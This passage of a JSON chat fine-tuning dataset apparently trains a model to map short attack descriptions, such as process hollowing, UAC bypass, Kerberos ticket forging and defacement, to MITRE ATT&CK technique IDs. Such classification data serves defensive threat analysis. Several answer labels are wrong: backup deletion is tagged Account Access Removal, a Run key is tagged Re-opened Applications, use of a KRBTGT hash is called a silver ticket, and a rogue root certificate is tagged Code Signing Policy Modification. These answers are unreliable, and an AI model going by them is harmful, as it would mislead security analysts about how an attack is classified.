                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker gains control of a switch by entering ROMMON mode and flashing a tampered IOS image, establishing persistence at the firmware level."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During execution, the malware monitors the system's time drift and will halt its malicious behavior if the clock appears to be artificially sped up."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor launches a SYN flood, sending a massive number of TCP SYN packets to exhaust the victim's connection queue."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised admin runs a batch file that sets the system to boot into Safe Mode, preventing security tools from loading."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses free passive DNS tools to enumerate subdomains tied to a target organization, uncovering hidden services and potential entry points."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor obtains a TGT and uses it to request service tickets for resources they shouldn't access."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary changes the DisableTaskMgr value in HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System to prevent the Task Manager from opening."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a data exfiltration campaign, the adversary mixes junk data with the real files, causing compression tools to misinterpret the data and hinder forensic analysis."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor manipulates the DNS forwarder configuration on a Linux server to forward queries to an external malicious resolver."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor disables the built‑in hardware encryption chip, forcing the OS to use weaker software encryption methods."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors abuse a compromised VPS to relay phishing emails, masking their origin and evading detection."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor encrypts and chunks data into 8 KB pieces to evade data‑transfer size restrictions."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team performs permission groups discovery by enumerating IAM roles in AWS."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Data was encrypted on the victim’s host using a custom RSA key, with instructions to contact the attackers for decryption."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary crafts a scheduled task that uses 'cmd.exe /c' to execute a base64‑encoded payload at logon."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker cleans up by removing SMB share mounts and clearing related registry keys to conceal their activity."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor extracts location metadata from the victim's browser using the HTML5 Geolocation API."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro embedded in a Word document on a removable drive activates a backdoor that contacts the attacker through the same media."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hostile actor extracts credentials from the instance metadata API, enabling unauthorized API calls to cloud services."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the Windows Registry to include a Run entry that reopens the malicious payload after each logon event."
            },
            {
                "role": "assistant",
                "content": "T1547.007 - Boot or Logon Autostart Execution: Re-opened Applications"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script invokes the \"Start-Process\" cmdlet with the \"-Verb runas\" parameter, but first exploits a known auto-elevate COM object to suppress the UAC dialog."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to evade detection, the ransomware creates a suspended notepad.exe, replaces its code segment with encrypted payload, and resumes it."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses the Windows utility regsvcs.exe to proxy execution, loading a payload DLL via the /codebase option."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool queries the process table via System.Diagnostics.Process.GetProcesses() in .NET."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection chain uses PowerShell to invoke rundll32.exe with an encoded command that loads a malicious library, achieving proxy execution of the payload."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary installs a backdoor that creates a SOCKS5 proxy on an internal workstation, enabling external actors to access internal resources."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary reviews public land registry entries and tax assessment records to ascertain the exact site of the victim’s data storage warehouse."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker scraped the organization's Group Policy Objects (GPO) from the domain controller to collect policy configurations."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber‑espionage groups monitor new releases on public package registries (e.g., npm, PyPI) for accidental inclusion of API tokens in source files."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the Windows registry to change the screensaver executable to a malicious payload, causing it to run whenever the screensaver activates."
            },
            {
                "role": "assistant",
                "content": "T1546.002 - Event Triggered Execution: Screensaver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is placed in a DLL and registered via the AppCert mechanism, triggering execution each time the associated application runs."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware dropped a script that rewrites the company's internal portal splash screen with a malicious advertisement."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses ARP requests to discover IP addresses of devices connected to the victim's local network segment."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - Gather Victim Network Information: IP Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited an SMB vulnerability to read files from a shared drive without authentication."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team creates a fresh IAM user in the target's cloud environment to bypass existing security controls."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting odbcconf.exe, the malicious actor injected a malicious library into the registry to gain code execution."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers exfiltrate backups and then delete them, leaving the victim without recent copies."
            },
            {
                "role": "assistant",
                "content": "T1531 - Account Access Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A red team operator sets a scheduled task that launches a credential dump tool each time a specific user logs on."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Outlook add‑in silently connects to the user's mailbox via IMAP and forwards selected emails to an external server."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A user browsing a compromised website inadvertently downloads and runs a drive‑by download that installs ransomware."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code spoofs security monitoring notifications, causing analysts to trust bogus warnings."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits Okta's Users API endpoint to harvest a complete list of organizational cloud identities."
            },
            {
                "role": "assistant",
                "content": "T1087.004 - Account Discovery: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the manipulation of Windows transactional NTFS, an attacker injects a malicious executable into a legitimate process using Process Doppelgänging."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage tool installs a .bat file in the user's Startup folder, causing it to run each time Windows starts."
            },
            {
                "role": "assistant",
                "content": "T1037.005 - Boot or Logon Initialization Scripts: Startup Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware cleans up scheduled tasks it created to ensure it is not discovered."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group executed a malicious PowerShell one-liner that encoded and exfiltrated data to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT uses the Mavinject API to perform DLL injection into a legitimate Windows service, representing System Binary Proxy Execution."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware changes the default umask to 0000, causing newly created files to be world‑writable."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a privileged account to issue commands that shred sensitive files and erase audit trails."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code utilizes the Kerberos ticket‑granting service to request a new domain account creation via the /admin endpoint."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker alters the logging configuration in an OpenStack deployment, disabling log collection on compute nodes."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor leverages token stealing to bypass User Account Control (UAC) prompts."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor used a compromised cloud service dashboard to add a malicious DNS entry in the victim's Route53 hosted zone."
            },
            {
                "role": "assistant",
                "content": "T1538 - Cloud Service Dashboard"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a domain-joined workstation, the attacker extracts the KRBTGT hash and crafts service tickets for the Exchange server, achieving privileged access via a silver ticket."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries performed a dump of router configuration files via TFTP to map the network layout."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder modifies the macOS energy saver plist to set 'SystemSleepEnabled' to false, preventing the machine from sleeping."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team tool reads encrypted secrets from HashiCorp Vault after obtaining vault token to harvest passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages DDE messages to inject code into the calculator process, achieving remote code execution."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors performed a dump of a MongoDB instance to retrieve stored application configuration data."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this scenario, the threat actor runs Odbcconf to register a custom driver that loads a backdoor during system startup."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By manipulating the SAML token signing key, the attacker issues fake authentication tokens that bypass SSO."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML Tokens"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code reads the application's cached JWT token from memory and sends it to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence via modifying the LNK file’s target path to point to a malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing site mirrors the legitimate web portal and records all typed credentials, forwarding them to the attacker in real time."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the adversary queries the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Services to discover service entries."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group used the cloud provider's API to initiate a direct SSH connection to a target Linux VM without intermediate jump hosts."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker deployed a script that scraped all spaces in the company's Confluence instance and saved the content locally for later analysis."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors configure a remote desktop gateway on a compromised system to provide external attackers with entry to the internal network."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware injects a .lnk file into the start menu that executes a remote payload from a compromised server."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder executes a command to terminate critical business process services, causing outage."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor adds a self‑signed root certificate to the trusted store, enabling unsigned or maliciously signed executables to run."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerability in the Gatekeeper validation logic to load unsigned malicious code without triggering warnings."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor used a stolen admin account to upload a defacement page to the company's intranet portal, displaying offensive imagery to employees."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A criminal group purchased access to a pre‑existing botnet on the dark web to amplify ransomware extortion."
            },
            {
                "role": "assistant",
                "content": "T1583.005 - Acquire Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a registry file that results in a new local user being added to the OS."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used a malicious Java JAR file named \"javaw.exe \" (space after the filename) to masquerade as a legitimate Java process."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
